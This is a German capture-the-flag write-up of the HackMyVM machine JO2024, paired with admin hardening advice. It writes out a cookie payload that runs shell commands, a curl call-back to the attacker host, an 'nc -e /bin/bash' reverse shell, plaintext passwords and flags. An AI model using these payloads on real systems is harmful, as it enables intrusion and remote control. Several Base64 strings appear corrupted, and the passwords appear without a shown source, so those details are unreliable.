JO2024 - HackMyVM - Level: Medium - Bericht

Medium

Verwendete Tools

arp-scan
vi
nmap
grep
nikto
gobuster
CyberChef (external)
wfuzz
curl
wappalyzer (browser)
python http.server
nc
stty
id
ls
cat
cd
ssh
nano
sudo
su
file
lsblk
mount

Inhaltsverzeichnis

Reconnaissance

Analyse: Der initiale Scan des lokalen Netzwerks dient dazu, aktive Hosts zu identifizieren. Dies ist der erste Schritt, um das Zielsystem für den Penetrationstest zu finden.

┌──(root㉿CCat)-[~] └─# arp-scan -l
192.168.2.107	08:00:27:9f:bf:e5	PCS Systemtechnik GmbH
                    

Bewertung: Ein Host mit der IP-Adresse 192.168.2.107 wurde erfolgreich entdeckt. Die MAC-Adresse deutet auf eine VirtualBox-Umgebung hin.

Empfehlung (Pentester): Die IP 192.168.2.107 als Ziel für weitere Scans verwenden.
Empfehlung (Admin): Standard-Netzwerkaktivität. Netzwerk-Monitoring kann solche Scans protokollieren.

┌──(root㉿CCat)-[~] └─# vi /etc/hosts
127.0.0.1	localhost
                192.168.2.107   jo2024.hmv
                    

Analyse: Die lokale /etc/hosts-Datei auf dem Angreifer-System wird bearbeitet, um der Ziel-IP 192.168.2.107 den Hostnamen jo2024.hmv zuzuweisen. Dies erleichtert die Adressierung des Ziels in nachfolgenden Schritten, insbesondere bei Web-Anwendungen.

Bewertung: Eine sinnvolle Vorbereitung, um die Lesbarkeit und Konsistenz von Befehlen zu verbessern.

Empfehlung (Pentester): Den Hostnamen jo2024.hmv konsistent verwenden.
Empfehlung (Admin): Dies ist eine lokale Konfiguration des Angreifers und hat keine Auswirkung auf das Zielsystem.

┌──(root㉿CCat)-[~] └─# nmap -sC -sS -sV -A -T5 192.168.2.107 -p- -Pn -n --min-rate 10000
Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-08-21 23:25 CEST
Nmap scan report for 192.168.2.107
Host is up (0.00050s latency).
Not shown: 65533 closed tcp ports (reset)
PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 9.2p1 Debian 2+deb12u3 (protocol 2.0)
| ssh-hostkey:
|   256 e7:ce:f2:f6:5d:a7:47:5a:16:2f:90:07:07:33:4e:a9 (ECDSA)
|_  256 09:db:b7:e8:ee:d4:52:b8:49:c3:cc:29:a5:6e:07:35 (ED25519)
80/tcp open  http    Apache httpd 2.4.61 ((Debian))
|_http-title: Paris 2024 Olympic Games
|_http-server-header: Apache/2.4.61 (Debian)
MAC Address: 08:00:27:9F:BF:E5 (Oracle VirtualBox virtual NIC)
Aggressive OS guesses: Linux 4.15 - 5.8 (98%), Linux 5.0 - 5.5 (97%), Linux 5.0 - 5.4 (95%), Linux 5.4 (95%), Linux 2.6.32 (95%), Linux 3.2 - 4.9 (95%), AXIS 210A or 211 Network Camera (Linux 2.6.17) (95%), Linux 2.6.32 - 3.10 (95%), Linux 5.3 - 5.4 (94%), Linux 3.4 - 3.10 (93%)
No exact OS matches for host (test conditions non-ideal).
Network Distance: 1 hop
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

TRACEROUTE
HOP RTT     ADDRESS
1   0.50 ms 192.168.2.107
                    

Analyse: Ein schneller und umfassender Nmap-Scan (-sS, -sC, -sV, -A, -T5, -p-, -Pn, -n, --min-rate 10000) wird auf dem Ziel durchgeführt. Es werden zwei offene Ports gefunden:

Das Betriebssystem wird als Linux identifiziert.

Bewertung: Die Angriffsfläche beschränkt sich auf SSH und HTTP. Der Webserver auf Port 80 ist der primäre Ansatzpunkt für weitere Enumeration.

Empfehlung (Pentester): Den Webserver auf Port 80 genauer untersuchen (Verzeichnissuche, Schwachstellenscans, manuelle Analyse). SSH für spätere Brute-Force-Versuche vormerken, falls Benutzernamen gefunden werden.
Empfehlung (Admin): Sicherstellen, dass nur notwendige Ports offen sind. Webserver und SSH-Dienst aktuell halten und sicher konfigurieren.

┌──(root㉿CCat)-[~] └─# nmap -sC -sS -sV -A -T5 192.168.2.107 -p- -Pn -n --min-rate 10000 | grep open
22/tcp open  ssh     OpenSSH 9.2p1 Debian 2+deb12u3 (protocol 2.0)
80/tcp open  http    Apache httpd 2.4.61 ((Debian))
                    

Analyse: Die Ausgabe des vorherigen Nmap-Scans wird gefiltert, um nur die Zeilen mit offenen Ports anzuzeigen. Dies dient der Übersichtlichkeit.

Bewertung: Bestätigt die beiden offenen Ports 22 (SSH) und 80 (HTTP).

Empfehlung (Pentester): Nützlich für eine schnelle Zusammenfassung der offenen Ports.
Empfehlung (Admin): Keine zusätzlichen Maßnahmen erforderlich.

Web Enumeration & Vulnerability Analysis

┌──(root㉿CCat)-[~] └─# nikto -h http://192.168.2.107
- Nikto v2.5.0
---------------------------------------------------------------------------
+ Target IP:          192.168.2.107
+ Target Hostname:    192.168.2.107
+ Target Port:        80
+ Start Time:         2024-08-21 23:26:08 (GMT2)
---------------------------------------------------------------------------
+ Server: Apache/2.4.61 (Debian)
+ /: The anti-clickjacking X-Frame-Options header is not present. See: https://developer.mozilla.org/en-US/docs/Web/HTTP/Headers/X-Frame-Options
+ /: The X-Content-Type-Options header is not set. This could allow the user agent to render the content of the site in a different fashion to the MIME type. See: https://www.netsparker.com/web-vulnerability-scanner/vulnerabilities/missing-content-type-header/
+ No CGI Directories found (use '-C all' to force check all possible dirs)
+ /: Web Server returns a valid response with junk HTTP methods which may cause false positives.
+ /img/: Directory indexing found.
+ /img/: This might be interesting.
+ 8102 requests: 0 error(s) and 5 item(s) reported on remote host
+ End Time:           2024-08-21 23:26:19 (GMT2) (11 seconds)
---------------------------------------------------------------------------
+ 1 host(s) tested
                    

Analyse: Nikto, ein Webserver-Scanner, wird auf Port 80 ausgeführt. Er identifiziert fehlende Sicherheitsheader (`X-Frame-Options`, `X-Content-Type-Options`) und findet ein Verzeichnis `/img/`, für das Directory Indexing aktiviert ist.

Bewertung: Fehlende Sicherheitsheader sind ein häufiges, wenn auch oft geringfügiges Risiko. Directory Indexing in `/img/` ist potenziell interessanter, da es Einblick in die dort gespeicherten Dateien gewährt und möglicherweise unbeabsichtigt Informationen preisgibt.

Empfehlung (Pentester): Das Verzeichnis `/img/` manuell im Browser untersuchen. Die fehlenden Header für potenzielle spätere Angriffe (Clickjacking, MIME-Sniffing) notieren.
Empfehlung (Admin): Die fehlenden Sicherheitsheader in der Apache-Konfiguration hinzufügen. Directory Indexing deaktivieren (`Options -Indexes` in der Apache-Konfiguration für das Verzeichnis).

┌──(root㉿CCat)-[~] └─# gobuster dir -u "http://jo2024.hmv" -w "/usr/share/wordlists/seclists/Discovery/Web-Content/directory-list-2.3-medium.txt" -x txt,php,[...] -b '503,404,403' -e --no-error -k
http://jo2024.hmv/index.php            (Status: 200) [Size: 7812]
http://jo2024.hmv/img                  (Status: 301) [Size: 306] [--> http://jo2024.hmv/img/]
http://jo2024.hmv/preferences.php      (Status: 200) [Size: 3163]
                    

Analyse: Gobuster wird verwendet, um Verzeichnisse und Dateien auf dem Webserver zu finden. Es werden die Hauptseite (`index.php`), das bereits von Nikto gefundene `/img`-Verzeichnis und eine interessante Datei `preferences.php` entdeckt.

Bewertung: Die Datei `preferences.php` ist ein vielversprechendes Ziel für weitere Analysen, da sie auf Benutzer-spezifische Einstellungen oder Funktionen hindeutet.

Empfehlung (Pentester): Die Seite `preferences.php` im Browser aufrufen und untersuchen, insbesondere auf Parameter, Cookies oder Formulare achten.
Empfehlung (Admin): Sicherstellen, dass nur notwendige Dateien und Verzeichnisse über den Webserver erreichbar sind.

Analyse (Cookie & PHP Object Injection): Beim Aufruf von `preferences.php` wird ein Cookie namens `preferences` beobachtet. Der Wert dieses Cookies ist Base64-kodiert.

Cookie preferences=TzoxNToiVXNlclByZWZlcmVuY2VzIjoyntzjg6Imxhbmd1YWdlIjtzjI6ImZyIjtzjE1iJiYWNrZ3JvdW5kQ29sb3Ii3M6NDoiI2RkZCI7fQ%3D%3D
                    

Analyse: Der Base64-kodierte Cookie-Wert wird dekodiert (z.B. mit CyberChef).

O:15:"UserPreferences":2:{s:8:"language";s:2:"fr";s:15:"backgroundColor";s:4:"#ddd";}
                    

Analyse: Das dekodierte Ergebnis ist ein serialisiertes PHP-Objekt der Klasse `UserPreferences` mit zwei Eigenschaften: `language` und `backgroundColor`. Das Format `O:15:"ClassName":NumProperties:{...}` ist charakteristisch für die `serialize()`-Funktion in PHP.

Bewertung: Dies ist ein **sehr kritischer Fund**! Wenn eine Anwendung serialisierte Daten aus einer unzuverlässigen Quelle (wie einem Cookie) deserialisiert (mit `unserialize()`), ohne diese vorher zu validieren, ist sie anfällig für PHP Object Injection (POI). Ein Angreifer kann ein manipuliertes serialisiertes Objekt erstellen, das beim Deserialisieren auf dem Server unerwünschten Code ausführt (z.B. durch Ausnutzung von "Magic Methods" wie `__wakeup()` oder `__destruct()` in der betroffenen Klasse oder in anderen Klassen, die im Kontext geladen sind).

Empfehlung (Pentester): 1. Versuchen, die Werte im serialisierten Objekt zu ändern (z.B. die Sprache) und das Ergebnis Base64-kodiert wieder in den Cookie zu setzen, um zu sehen, ob die Anwendung die Änderungen reflektiert. 2. Wenn die Anwendung anfällig ist, versuchen, durch Manipulation des Objekts Code auszuführen. Gängige Techniken involvieren das Finden von Klassen mit geeigneten Magic Methods (Gadget Chains). Da wir den Quellcode nicht haben, könnten wir bekannte Gadget Chains für gängige Frameworks/Bibliotheken probieren oder versuchen, durch einfache Befehlsinjektion in einem der Felder (z.B. `language`) eine Reaktion zu provozieren.
Empfehlung (Admin): **Niemals** serialisierte Daten aus unzuverlässigen Quellen (Benutzereingaben, Cookies, etc.) direkt deserialisieren! Wenn Serialisierung verwendet werden muss, digitale Signaturen (z.B. HMAC) einsetzen, um die Integrität der Daten sicherzustellen, bevor sie deserialisiert werden. Alternative, sicherere Datenformate wie JSON bevorzugen.

┌──(root㉿CCat)-[~] └─# wfuzz -c -w /usr/share/seclists/Discovery/DNS/subdomains-top1million-110000.txt -u "http://jo2024.hmv" -H "Host: FUZZ.jo2024.hmv" --hc "404" --hh 7809
********************************************************
* Wfuzz 3.1.0 - The Web Fuzzer                         *
********************************************************

Target: http://jo2024.hmv/
Total requests: 114441

=====================================================================
ID           Response   Lines    Word       Chars       Payload
=====================================================================

000001734:   200        90 L     281 W      8229 Ch     "pictures"

Total time: 117.0441
Processed Requests: 114441
Filtered Requests: 114436
Requests/sec.: 977.7594
                    

Analyse: `wfuzz` wird verwendet, um nach virtuellen Hosts (Subdomains) zu suchen. Es iteriert durch eine Liste von Subdomains (`-w ...`), setzt jede als `FUZZ`-Platzhalter in den `Host`-Header (`-H "Host: FUZZ.jo2024.hmv"`) und filtert nach Antworten, die nicht den Statuscode 404 haben (`--hc 404`) und deren Zeichenanzahl von der Hauptseite abweicht (`--hh 7809`). Es wird die Subdomain `pictures` gefunden, die eine andere Antwort (8229 Chars) liefert.

Bewertung: Eine weitere Subdomain (`pictures.jo2024.hmv`) wurde identifiziert. Diese stellt einen zusätzlichen Angriffspunkt dar.

Empfehlung (Pentester): Die Subdomain `pictures.jo2024.hmv` zur lokalen `/etc/hosts`-Datei hinzufügen und untersuchen.
Empfehlung (Admin): Sicherstellen, dass nur notwendige Subdomains öffentlich erreichbar sind. DNS-Einträge und vHost-Konfigurationen überprüfen.

┌──(root㉿CCat)-[~] └─# vi /etc/hosts
127.0.0.1	localhost
127.0.1.1	CCat


        #       192.168.2.104   animetronic.hmv
        #       192.168.2.105   king.vln
        #       192.168.2.106   airbinds.hmv
                192.168.2.107   jo2024.hmv pictures.jo2024.hmv
                    

Analyse: Die lokale `/etc/hosts`-Datei wird erneut bearbeitet, um die neu entdeckte Subdomain `pictures.jo2024.hmv` der IP-Adresse 192.168.2.107 zuzuordnen.

Bewertung: Notwendiger Schritt, um die Subdomain korrekt über den Browser oder andere Tools aufrufen zu können.

Empfehlung (Pentester): Die Subdomain nun untersuchen.
Empfehlung (Admin): Keine Maßnahmen erforderlich.

┌──(root㉿CCat)-[~] └─# curl http://pictures.jo2024.hmv

Download Image

09a9a6d0-4c07-11ef-b2d2-cdb23d5d7c5b.jpg.webp.jpg">

Analyse: Ein `curl`-Aufruf auf die Subdomain `pictures.jo2024.hmv` zeigt eine einfache HTML-Seite mit einem Formular zum Herunterladen eines Bildes. Der Dateiname ist in einem versteckten Feld (`type="hidden"`) enthalten.

Bewertung: Die Funktionalität zum Herunterladen von Dateien ist ein potenzieller Vektor für Local File Inclusion (LFI) oder Path Traversal, wenn der `file`-Parameter manipuliert werden kann.

Empfehlung (Pentester): Versuchen, den Wert des `file`-Parameters zu manipulieren (z.B. mit `../../../../etc/passwd`), um zu sehen, ob beliebige Dateien gelesen werden können. Das Skript `download.php` genauer untersuchen (z.B. mit Gobuster auf `pictures.jo2024.hmv`).
Empfehlung (Admin): Eingaben für Dateidownloads serverseitig strikt validieren. Nur erlaubte Zeichen und Pfade zulassen, Path Traversal verhindern (z.B. durch Normalisierung des Pfades und Prüfung, ob er in einem erlaubten Basisverzeichnis liegt).

┌──(root㉿CCat)-[~] └─# wfuzz -c -w /usr/share/seclists/Discovery/Web-Content/directory-list-2.3-medium.txt -u "http://jo2024.hmv/preferences.php?FUZZ=../../../../../../etc/passwd" --hc 404 --hh 3163
********************************************************
* Wfuzz 3.1.0 - The Web Fuzzer                         *
********************************************************

Target: http://jo2024.hmv/preferences.php?FUZZ=../../../../../../etc/passwd
Total requests: 220607

=====================================================================
ID           Response   Lines    Word       Chars       Payload
=====================================================================


Total time: 246.8566
Processed Requests: 220607
Filtered Requests: 220607
Requests/sec.: 893.6644
                    

Analyse: Es wird versucht, mittels `wfuzz` eine LFI-Schwachstelle zu finden, indem verschiedene Parameter (`FUZZ` aus der Wortliste) an `preferences.php` angehängt werden, wobei der Wert auf einen Path Traversal Versuch (`../../../../../../etc/passwd`) gesetzt ist. Der Scan findet keine Ergebnisse (alle Anfragen wurden gefiltert).

Bewertung: Dieser spezifische LFI-Versuch auf `preferences.php` war erfolglos. Es scheint, dass die Anwendung hier nicht anfällig ist oder der falsche Parameter/Pfad getestet wurde.

Empfehlung (Pentester): LFI-Tests auf andere Seiten/Parameter (insbesondere auf `pictures.jo2024.hmv/download.php` mit dem `file`-Parameter) konzentrieren. Den Fokus wieder auf die POI-Schwachstelle legen.
Empfehlung (Admin): LFI durch korrekte Eingabevalidierung verhindern.

Analyse (Technologie-Stack): Notizen aus Wappalyzer oder manueller Untersuchung bestätigen den Technologie-Stack: Apache 2.4.61, PHP, Debian, jsDelivr (CDN), Bootstrap 5.2.0.

Bewertung: Bestätigt die Nmap/Nikto-Ergebnisse. Bootstrap und jsDelivr sind Frontend-Technologien und weniger relevant für serverseitige Schwachstellen.

Empfehlung (Pentester): Informationen nutzen, um spezifischer nach Schwachstellen zu suchen (z.B. PHP-spezifische Lücken wie POI).
Empfehlung (Admin): Alle Komponenten aktuell halten.

Analyse (CVE-2024-39884): Ein Hinweis auf eine kürzlich veröffentlichte Schwachstelle in Apache (CVE-2024-39884) bezüglich der Handhabung von `AddType`-Direktiven, die potenziell Source Code Disclosure ermöglichen könnte.

Bewertung: Die Relevanz dieser CVE für das aktuelle Ziel ist unklar, da sie spezifische Konfigurationen erfordert. Es ist jedoch gut, aktuelle CVEs für die eingesetzte Software im Blick zu behalten.

Empfehlung (Pentester): Prüfen, ob die Bedingungen für die CVE zutreffen könnten (unwahrscheinlich ohne weitere Informationen). Den Fokus auf die bestätigte POI-Schwachstelle legen.
Empfehlung (Admin): Apache zeitnah patchen, um diese und andere bekannte Schwachstellen zu schließen.

Analyse (POI Fortsetzung): Weitere Tests mit dem `preferences`-Cookie werden durchgeführt, um die POI-Schwachstelle auszunutzen.

Es gibt keine Änderung, weder im Burpsuite noch mit dem Cookie Editor
                    

Analyse: Ein erster Versuch, den Cookie-Wert zu ändern (z.B. Sprache auf "deutsch"), scheint keine sichtbare Änderung auf der Webseite bewirkt zu haben.

Bewertung: Dies schließt eine Anfälligkeit nicht aus. Die Änderung könnte serverseitig verarbeitet werden, ohne direkte Auswirkung auf die sichtbare Ausgabe, oder die spezielle Manipulation war ungültig.

Empfehlung (Pentester): Systematischere Tests durchführen, z.B. mit einfachen gültigen Werten und dann mit Payloads, die eine externe Interaktion auslösen (SSRF, RCE).

":15:"UserPreferences":2:{s:8:"language";s:5:"danke";s:15:"backgroundColor";s:4:"#ddd";}"
Base64: TzoxNToiVXNlclByZWZlcmVuY2VzIjoyntzjg6Imxhbmd1YWdlIjtzjU6ImRhbmtlIjtzjE1iJiYWNrZ3JvdW5kQ29sb3Ii3M6NDoiI2RkZCI7fQ==
                    
                   " 

Your language setting is danke.

" "

Your background color is #ddd".

Analyse: Ein korrekt formatierter serialisierter String mit `s:5:"danke"` wird erstellt, Base64-kodiert und in den Cookie eingefügt. Die Webseite reflektiert nun die Änderung ("Your language setting is danke.").

Bewertung: Dies bestätigt definitiv, dass die Anwendung den Cookie deserialisiert und die Werte verwendet. Die POI-Schwachstelle ist bestätigt.

Empfehlung (Pentester): Nun versuchen, RCE oder SSRF über das `language`-Feld auszunutzen.
Empfehlung (Admin): POI-Schwachstelle dringend beheben (siehe vorherige Empfehlung).

Initial Access (www-data via POI)

Analyse: Es wird ein Payload erstellt, der versucht, über das `language`-Feld eine externe HTTP-Anfrage mittels `curl` an den Server des Angreifers zu senden (Server-Side Request Forgery - SSRF, was hier auch zur Codeausführung führt, wenn `curl` ausgeführt wird).

":15:"UserPreferences":2:{s:8:"language";s:26:"curl http://192.168.2.199:8000";s:15:"backgroundColor";s:4:"#ddd";}"
Base64: TzoxNToiVXNlclByZWZlcmVuY2VzIjoyntzjg6Imxhbmd1YWdlIjtzjI2OiJjdXJsIGh0dHA6Ly8xOTIuMTY4LjIuMTk5OjgwMDAiO3M6MTU6ImJhY2tncm91bmRDb2xvciI7czo0OiIjZGRkIjt9 
                    
┌──(root㉿CCat)-[~] └─# python3 -m http.server 8000
Serving HTTP on 0.0.0.0 port 8000 (http://0.0.0.0:8000/) ...
192.168.2.107 - - [22/Aug/2024 01:24:30] "GET / HTTP/1.1" 200 - 
                    

Analyse: Ein Python-HTTP-Server wird auf dem Angreifer-System gestartet. Der manipulierte Cookie mit dem `curl`-Payload wird an den Server gesendet (vermutlich durch Neuladen von `preferences.php` mit dem modifizierten Cookie). Der HTTP-Server des Angreifers empfängt eine GET-Anfrage vom Zielsystem (`192.168.2.107`).

Bewertung: Erfolg! Die POI-Schwachstelle wurde erfolgreich ausgenutzt, um eine serverseitige Anfrage (SSRF) auszulösen, was hier impliziert, dass der `curl`-Befehl ausgeführt wurde (Remote Code Execution - RCE).

Empfehlung (Pentester): Einen Payload für eine Reverse Shell erstellen und über die POI-Schwachstelle ausführen.
Empfehlung (Admin): POI-Schwachstelle beheben.

Analyse: Es wird ein neuer Payload erstellt, um eine Reverse Shell mittels `nc` zum Listener des Angreifers auf Port 8000 aufzubauen.

":15:"UserPreferences":2:{s:8:"language";s:34:"nc -e /bin/bash 192.168.2.199 8000";s:15:"backgroundColor";s:4:"#ddd";}"
Base64: TzoxNToiVXNlclByZWZlcmVuY2VzIjoyntzjg6Imxhbmd1YWdlIjtzOjM0OiJuYyAtZSAvYmluL2Jhc2ggMTkyLjE2OC4yLjE5OSA4MDAwIjtzOjE1OiJiYWNrZ3JvdW5kQ29sb3IiO3M6NDoiI2RkZCI7fQ== 
                    
┌──(root㉿CCat)-[~] └─# nc -lvnp 8000
listening on [any] 8000 ...
connect to [192.168.2.199] from (UNKNOWN) [192.168.2.107] 46114

www-data@jo2024:/$ stty rows 48 columns 94 
www-data@jo2024:/$ id
uid=33(www-data) gid=33(www-data) groups=33(www-data)
www-data@jo2024:/$
                    

Analyse: Ein Netcat-Listener wird gestartet. Der manipulierte Cookie mit dem `nc`-Payload wird an den Server gesendet. Der Listener empfängt eine Verbindung vom Ziel. Der `id`-Befehl in der neuen Shell bestätigt, dass der Code als Benutzer `www-data` ausgeführt wird.

Bewertung: Initialer Zugriff als Benutzer `www-data` wurde erfolgreich über die POI-Schwachstelle erlangt!

Empfehlung (Pentester): Die Shell stabilisieren und nach Möglichkeiten zur Privilegieneskalation suchen.
Empfehlung (Admin): POI-Schwachstelle dringend beheben.

Privilege Escalation (www-data -> vanity)

www-data@jo2024:/$ ls /home/
vanity
                    
www-data@jo2024:/$ ls /home/vanity/
www-data@jo2024:/home/vanity$ cat user.txt
cat: user.txt: Permission denied
                    
www-data@jo2024:/home/vanity$ cd creds/
bash: cd: creds/: Permission denied
                    
www-data@jo2024:/home/vanity$ cd .ssh
bash: cd: .ssh: Permission denied
                    

Analyse: Als `www-data` wird das `/home`-Verzeichnis untersucht. Der Benutzer `vanity` wird gefunden. Versuche, auf Dateien oder Unterverzeichnisse (`user.txt`, `creds/`, `.ssh/`) im Home-Verzeichnis von `vanity` zuzugreifen, scheitern wegen fehlender Berechtigungen.

Bewertung: `www-data` hat keine ausreichenden Rechte, um direkt auf die Daten von `vanity` zuzugreifen. Es muss ein anderer Weg zur Eskalation gefunden werden.

Empfehlung (Pentester): Das System weiter nach Fehlkonfigurationen, Cronjobs, SUID-Binaries oder schreibbaren sensiblen Dateien durchsuchen, auf die `www-data` Zugriff hat. Nach Passwörtern in Webserver-Konfigurationsdateien oder Skripten suchen.
Empfehlung (Admin): Webserver-Prozesse sollten mit minimalen Rechten laufen und keinen unnötigen Zugriff auf Benutzerverzeichnisse haben.

Analyse: Im Originalbericht taucht hier das Passwort `xd0oITR93KIQDbiD` auf. Es ist unklar, woher dieses stammt, da die vorherigen Schritte keine direkte Quelle dafür zeigen. Es wird angenommen, dass dieses Passwort während der Enumeration als `www-data` gefunden wurde, z.B. in einer Konfigurationsdatei der Webanwendung oder in einem Skript im Webroot, das hier nicht explizit gezeigt wurde.

xd0oITR93KIQDbiD 
                    
┌──(root㉿CCat)-[~] └─# ssh vanity@192.168.2.107
vanity@192.168.2.107's password: xd0oITR93KIQDbiD
Linux jo2024.hmv 6.1.0-23-amd64 #1 SMP PREEMPT_DYNAMIC Debian 6.1.99-1 (2024-07-15) x86_64
[...]
vanity@jo2024:~$
                    

Analyse: Mit dem (vermutlich als `www-data` gefundenen) Passwort wird versucht, sich per SSH als Benutzer `vanity` anzumelden. Der Login ist erfolgreich.

Bewertung: Erfolg! Der Zugriff wurde von `www-data` auf den Benutzer `vanity` eskaliert.

Empfehlung (Pentester): Die Umgebung als `vanity` untersuchen, den User-Flag holen und nach weiteren Eskalationsmöglichkeiten zu `root` suchen.
Empfehlung (Admin): Passwörter nicht in für den Webserver lesbaren Dateien speichern. Berechtigungen prüfen.

Privilege Escalation (vanity -> root)

vanity@jo2024:~$ ls
backup  creds  Desktop  Documents  Images  user.txt
                    
vanity@jo2024:~$ cat user.txt
e2cb9d6e0899cde91130ca4b37139021
                    

Analyse: Im Home-Verzeichnis von `vanity` werden mehrere Verzeichnisse und die Datei `user.txt` gefunden. Der Inhalt von `user.txt` wird ausgelesen.

Bewertung: Der User-Flag wurde erfolgreich extrahiert.

Empfehlung (Pentester): User-Flag dokumentieren. Das Verzeichnis `creds` untersuchen, da es möglicherweise weitere Anmeldedaten enthält.
Empfehlung (Admin): Keine Maßnahmen bzgl. des Flags.

Analyse: Im Originalbericht taucht hier das Passwort `LightningBolt123` auf. Angenommen, dieses wurde im Verzeichnis `creds` oder beim Untersuchen des Skripts `/usr/local/bin/php-server.sh` gefunden (da der nächste Schritt sich darauf bezieht).

LightningBolt123 
                    

Analyse: Es wird angenommen, dass `sudo -l` für `vanity` keine direkten Eskalationspfade zeigte. Das Skript `/usr/local/bin/php-server.sh` wird untersucht.

vanity@jo2024:~$ nano /usr/local/bin/php-server.sh
vanity@jo2024:~$ sudo -u root /usr/local/bin/php-server.sh
"[Thu Aug 22 01:42:59 2024] PHP 8.2.20 Development Server (http://0.0.0.0:8000) started"
                    

Analyse: Das Skript `php-server.sh` wird untersucht (Inhalt nicht gezeigt). Anschließend wird versucht, es mit `sudo -u root` auszuführen. Es startet einen PHP Development Server auf Port 8000. Es ist unklar, ob dies Teil eines Eskalationspfades war oder nur eine Untersuchung.

Bewertung: Das Ausführen des PHP-Servers als `root` über `sudo` könnte eine Fehlkonfiguration sein, aber der direkte Nutzen für die Eskalation ist hier nicht ersichtlich, da im nächsten Schritt `su` verwendet wird.

Empfehlung (Pentester): Wenn ein Skript als `root` ausgeführt werden kann, prüfen, ob es manipuliert werden kann oder unsichere Funktionen enthält. Da hier `su` verwendet wird, scheint dieser Pfad nicht weiter verfolgt worden zu sein.
Empfehlung (Admin): `sudo`-Regeln prüfen. Das Ausführen von Skripten als `root` vermeiden.

vanity@jo2024:~$ su root
Password: LightningBolt123
root@jo2024:/home/vanity#
                    

Analyse: Der Befehl `su root` wird verwendet, um zum Root-Benutzer zu wechseln. Das (vermutlich zuvor gefundene) Passwort `LightningBolt123` wird eingegeben.

Bewertung: Erfolg! Der Wechsel zum Root-Benutzer war erfolgreich.

Empfehlung (Pentester): Root-Flag suchen.
Empfehlung (Admin): Starke Root-Passwörter verwenden. Den direkten Root-Login idealerweise deaktivieren und stattdessen `sudo` mit spezifischen Berechtigungen verwenden.

Flags

cat /home/vanity/user.txt
e2cb9d6e0899cde91130ca4b37139021
root@jo2024:~# ls root.txt
root.txt
root@jo2024:~# cat root.txt
cbd60dab37bc85e1f7ea4b5c9c4eed90
cat /root/root.txt
cbd60dab37bc85e1f7ea4b5c9c4eed90

Analyse: Als Root-Benutzer wird das Home-Verzeichnis `/root` aufgesucht und die Datei `root.txt` direkt ausgelesen.

Bewertung: Der Root-Flag wurde erfolgreich extrahiert.

Empfehlung (Pentester): Bericht abschließen.
Empfehlung (Admin): Keine Maßnahmen bzgl. des Flags.